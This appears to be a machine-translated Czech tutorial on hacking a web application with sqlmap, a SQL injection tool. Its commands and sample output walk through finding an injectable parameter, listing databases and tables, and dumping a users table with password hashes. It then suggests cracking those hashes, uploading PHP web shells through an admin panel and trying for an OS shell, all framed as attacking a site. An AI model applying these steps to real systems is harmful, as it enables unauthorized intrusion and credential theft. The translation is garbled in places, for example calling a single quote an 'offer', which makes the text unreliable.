Sqlmap
Sqlmap je jedním z nejvíce populární a silný sql injection nástroj pro automatizaci, tam. Vzhledem zranitelné http požadavku url, sqlmap můžete využít vzdálené databáze a dělat spoustu hacking jako extrahování názvy databáze, tabulky, sloupce, všechna data v tabulkách apod.
to může dokonce číst a zapisovat soubory na vzdáleném systému souborů za určitých podmínek. Napsáno v Pythonu je to jeden z nejsilnějších hackerských nástrojů. Sqlmap je metasploit sql injekcí.
Sqlmap je součástí pera testování Linux distros jako Kali linux, backtrack, backbox atd. Na jiných distribucích lze jednoduše stáhnout z následující adresy url
http://sqlmap.org/.
od jeho napsání v Pythonu musíte nejprve nainstalovat python do vašeho systému. Na ubuntu nainstalujte python ze synaptic. V systému windows nainstalujte ActiveState python. Podívejte se na tento příspěvek pro podrobnosti o tom, jak nainstalovat a spustit sqlmap na windows.
Pro seznam možností a parametrů, které mohou být použity s sqlmap příkaz, podívejte se na sqlmap dokumentaci
https://github.com/sqlmapproject/sqlmap/wiki/Usage
V tomto tutoriálu se budeme učit, jak používat sqlmap využít zranitelné webové aplikace a vidět, co vše může být provedeno s takovým nástrojem.
Chcete-li porozumět tomuto tutoriálu, měli byste mít důkladné znalosti o tom, jak fungují webové aplikace založené na databázi. Například ty vyrobené s php+mysql.
Zranitelné Url
řekněme, že tam je webová aplikace nebo webová stránka, která má adresu url, jako je tento,
http://www.site.com/section.php?id=51
a je náchylný k sql injection, protože vývojář webu, který není řádně uniknout parametr id. To lze jednoduše otestovat pokusem o otevření adresy url
http://www.site.com/section.php?id=51'
do parametru jsme právě přidali jednu nabídku. Pokud tato adresa URL vyvolá chybu nebo reaguje neočekávaným způsobem, pak je zřejmé, že databáze má neočekávanou jedinou nabídku, kterou aplikace neunikla správně. Takže v tomto případě je tento vstupní parametr “ id “ zranitelný sql injection.
Hacking s sqlmap
Nyní je čas přejít na sqlmap hack takové adresy url. Příkaz sqlmap je spuštěn z terminálu pomocí interpretu Pythonu.
1. Skenování vzdáleného systému
prvním příkazem je skenování vzdáleného systému, aby se zjistilo, zda je zranitelný vůči sql injection, a poté o něm shromažďuje informace.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
výše uvedené je první a nejvíce jednoduchý příkaz spustit s sqlmap nástroj. Kontroluje vstupní parametry, aby zjistil, zda jsou zranitelné vůči sql injection nebo ne. Pro tento sqlmap odesílá různé druhy sql injection užitečné zatížení vstupního parametru a kontroluje výstup.
v procesu sqlmap je také schopen identifikovat vzdálený systém os, název databáze a verzi. Zde je, jak může výstup vypadat
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
takže nástroj sqlmap objevil operační systém, webový server a databázi spolu s informacemi o verzi. I tohle je docela působivé. Ale je čas jít dál a zjistit, co víc je tento nástroj schopen.
2. Objevte databáze
jakmile sqlmap potvrdí, že vzdálená adresa url je zranitelná vůči sql injection a je využitelná, dalším krokem je zjistit názvy databází, které existují ve vzdáleném systému. Volba „–dbs “ se používá k získání seznamu databáze.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
výstup může být něco jako toto
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
výstup ukazuje existujících databází na vzdáleném systému.
3. Najděte tabulky v konkrétní databázi
nyní je čas zjistit, jaké tabulky existují v konkrétní databázi. Řekněme, databáze zájem, tady je safecosmetics‘
Příkaz
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
a výstup může být něco podobného,
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
není to úžasné ? pokud samozřejmě. Umožňuje získat sloupce konkrétní tabulky nyní.
4. Získejte sloupce tabulky
Nyní, když máme seznam tabulek s námi, bylo by dobré získat sloupce nějaké důležité tabulky. Řekněme, že tabulka je „uživatelé“ a obsahuje uživatelské jméno a heslo.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
výstup může být něco takového
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
takže nyní jsou sloupce jasně viditelné. Dobrá práce!
5. Získat data z tabulky
nyní přichází nejzajímavější část, extrahování dat z tabulky. Příkaz by byl
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
výše uvedený příkaz jednoduše vypíše data konkrétní tabulky, podobně jako příkaz mysqldump.
výstup může vypadat podobně jako tento
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
zdá se, že sloupec hash má heslo hash. Zkuste praskání hash a pak byste se dostat přihlašovací údaje rightaway. sqlmap vytvoří soubor csv obsahující data výpisu pro snadnou analýzu.
doposud jsme byli schopni shromáždit spoustu informací ze vzdálené databáze pomocí sqlmap. Je to skoro jako mít přímý přístup ke vzdálené databázi prostřednictvím klienta, jako je phpmyadmin. V reálných scénářích by se hackeři pokusili získat vyšší úroveň přístupu do systému. Za tímto účelem by se pokusili prolomit hashe hesel a pokusit se přihlásit přes admin panel. Nebo by se pokusili získat shell os pomocí sqlmap.
napsal jsem další příspěvek o používání sqlmap získat více informací o vzdálených databází. Vysvětluje další možnosti sqlmap, které jsou užitečné pro zjištění uživatelů databáze, jejich oprávnění a hashování hesel.
co dál ?
jakmile budete moci skenovat a shromažďovat data ze zranitelného systému, je čas jej využít a zjistit, zda je možné získat přístup k systému. Sqlmap může dělat spoustu věcí, jako je provádění sql dotazů na vzdáleném systému, spuštění vzdáleného shellu v systému atd.
1. Spusťte libovolné sql dotazy
Toto je pravděpodobně nejjednodušší věc na serveru, který je zranitelný sql injection. Parametr –sql-query lze použít k zadání dotazu sql, který se má spustit. Zajímavé by bylo vytvořit uživatele v tabulce uživatelů nebo něco podobného. Nebo může být změna / úprava obsahu stránek cms atd.
Další paramter — sql-shell by dal sql shell jako rozhraní pro interaktivní spouštění dotazů.
2. Dostat se do admin panelu a hrát
Pokud web běží nějaký vlastní cms nebo něco podobného, že má admin panel, pak by bylo možné se dostat dovnitř, pokud jste schopni rozlousknout heslo citováno v dump databáze. Jednoduchá a krátká délka hesla mohou být rozděleny jednoduše tím, že hrubou silou nebo google.com.
Zkontrolujte, zda admin panel umožňuje nahrát nějaké soubory. Pokud lze nahrát libovolný soubor php, bude to mnohem větší zábava. Soubor php může obsahovat volání funkcí shell_exec, system, exec nebo passthru, které umožní provádět příkazy arbitary system. Php web shell skripty mohou být nahrány dělat totéž.
3. Shell na vzdáleném OS
to je věc, kterou musíte udělat pro úplné převzetí serveru. Všimněte si však, že to není tak snadné a triviální jako výše uvedené triky. sqlmap je dodáván s parametrem call — os-shell, který lze použít k pokusu o získání shellu na vzdáleném systému, ale má mnoho vlastních omezení.
Podle sqlmap manuální
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
nejdůležitější oprávnění potřebné stávající uživatele databáze je napsat souborů pomocí databázové funkce. To ve většině případů chybí. Tato technika tedy ve většině případů nebude fungovat.
Poznámka
1. Někdy sqlmap není schopen se připojit k url vůbec. To je viditelné, když se zasekne při prvním úkolu „testování připojení k cílové adrese url“. V takových případech je užitečné použít volbu“ –random-agent“. To dělá sqlmap k použití platného uživatelského agenta podpis jako ty poslat do prohlížeče jako chrome nebo firefox.
2. Pro adresy URL, které nejsou ve formě param = value sqlmap nemůže automaticky vědět, kam vložit. Například adresy URL mvc jako http://www.site.com/class_name/method/43/80.
V těchto případech sqlmap potřebuje být řečeno, vstřikovací bod označený *
http://www.site.com/class_name/method/43*/80
výše uvedené se říct, sqlmap aplikovat na bod označený *
3. Při použití formulářů, které odesílají data pomocí metody post, musí být sqlmap poskytnuta data post v možnostech“ –data“. Další informace naleznete v tomto tutoriálu o používání sqlmap s formuláři.